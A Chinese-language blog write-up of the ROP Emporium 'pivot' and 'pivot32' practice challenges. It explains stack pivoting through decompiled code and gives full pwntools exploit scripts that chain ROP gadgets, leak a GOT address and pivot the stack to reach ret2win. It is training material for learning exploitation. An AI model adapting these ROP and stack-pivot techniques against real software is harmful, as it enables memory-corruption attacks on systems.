stack pivoting

概念

控制ESP, EBP控制栈的攻击技术, 将真实程序堆栈转移到伪造堆栈控制执行流.

pivot32

通过一个例子学习栈转移的方法
ROPEmporium
pivot32题目
在这里插入图片描述
在这里插入图片描述

依赖动态链接库libpivot32.so
在这里插入图片描述
反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *ptr; // [esp+Ch] [ebp-Ch]

  setvbuf(_bss_start, 0, 2, 0);
  puts("pivot by ROP Emporium");
  puts("x86\n");
  ptr = (char *)malloc(0x1000000u);
  if ( !ptr )
  {
    puts("Failed to request space for pivot stack");
    exit(1);
  }
  pwnme(ptr + 16776960);
  free(ptr);
  puts("\nExiting");
  return 0;
}

int __cdecl pwnme(void *buf)
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  puts("Call ret2win() from libpivot");
  printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", buf);
  puts("Send a ROP chain now and it will land there");
  printf("> ");
  read(0, buf, 0x100u);
  puts("Thank you!\n");
  puts("Now please send your stack smash");
  printf("> ");
  read(0, s, 0x38u);
  return puts("Thank you!");
}

栈溢出在pwnme函数里, read(0, s, 0x38), s有40个字节, 除开EBP, 只有0x38 - 40 - 4 = 12个字节可以溢出.
在这里插入图片描述

根据伪代码, 可以分析出逻辑, malloc开辟出一个堆空间, 在send payload之前会接收一个ROP链存放到堆空间, 如果用栈溢出把栈转移到目标地址, 执行ROP链, 就能完成攻击.

根据stack结构可以构造payload

stackbufferEBPreturn_addr
payloadbuffer paddingfake EBPleave; retn_addr
# leave, 相当于执行
mov esp, ebp
pop ebp

# retn, 相当于执行
pop eip

所以可以溢出到ebp, 替换esp的值, retn之后, 劫持eip到目标地址完成栈转移.
栈转移之后, 如果有ALSR和PIE, 还需要信息泄露, 根据相对偏移计算ret2win()的地址, 这里根据foothold_function函数来做.

from pwn import *
io = process('./pivot32')
elf = ELF('./pivot32')
lib = ELF('./libpivot32.so')

leave_ret = 0x0804889f
pop_eax = 0x080499c0
pop_ebx = 0x08048571
mov_eax_eax = 0x080488c4
add_eax_ebx = 0x080488c7
call_eax = 0x080486a3

foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function'] # get plt, got in bin
offset = int(lib.sym['ret2win'] - lib.sym['foothold_function']) # get delta addr between ret2win and foothold_function in so
io.recvuntil('to pivot: ')
heap_addr = int(io.recvuntil('\n').replace('\n', ''), 16)
print hex(heap_addr)

def pwn():
    payload1 = p32(foothold_plt) + p32(pop_eax) + p32(foothold_got)
    payload1 += p32(mov_eax_eax) + p32(pop_ebx) + p32(offset) + p32(add_eax_ebx)
    payload1 += p32(call_eax)
    io.recvuntil('> ')
    io.sendline(payload1)

    payload2 = "A" * 40 + p32(heap_addr - 4) + p32(leave_ret)
    io.recvuntil('> ')
    io.sendline(payload2)
    io.interactive()

pwn()

在这里插入图片描述

pivot

基本原理同上题, 不过是64位的

from pwn import *
io = process('./pivot')
elf = ELF('./pivot')
lib = ELF('./libpivot.so')

leave_ret = 0x400adf
pop_rax = 0x400b00
pop_rbp = 0x400900
mov_rax_rax = 0x400b05
xchg_rax_rsp = 0x400b02
add_rax_rbp = 0x400b09
call_rax = 0x40098e

foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function'] # get plt, got in bin
offset = int(lib.sym['ret2win'] - lib.sym['foothold_function']) # get delta addr between ret2win and foothold_function in so
io.recvuntil(': ')
heap_addr = int(io.recvuntil('\n').replace('\n', ''), 16)
print hex(heap_addr)

def pwn():
    payload1 = p64(foothold_plt) + p64(pop_rax) + p64(foothold_got)
    payload1 += p64(mov_rax_rax) + p64(pop_rbp) + p64(offset) + p64(add_rax_rbp)
    payload1 += p64(call_rax)

    io.recvuntil('> ')
    io.sendline(payload1)

    payload2 = "A" * 40 + p64(pop_rax) + p64(heap_addr) + p64(xchg_rax_rsp)

    io.recvuntil('> ')
    io.sendline(payload2)
    io.interactive()

pwn()

在这里插入图片描述

总结

虽然做出了题, 但是对栈帧的运作过程没有完全脑内模拟出来, 就不能算理解. 之后回来补充栈转移过程图解.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值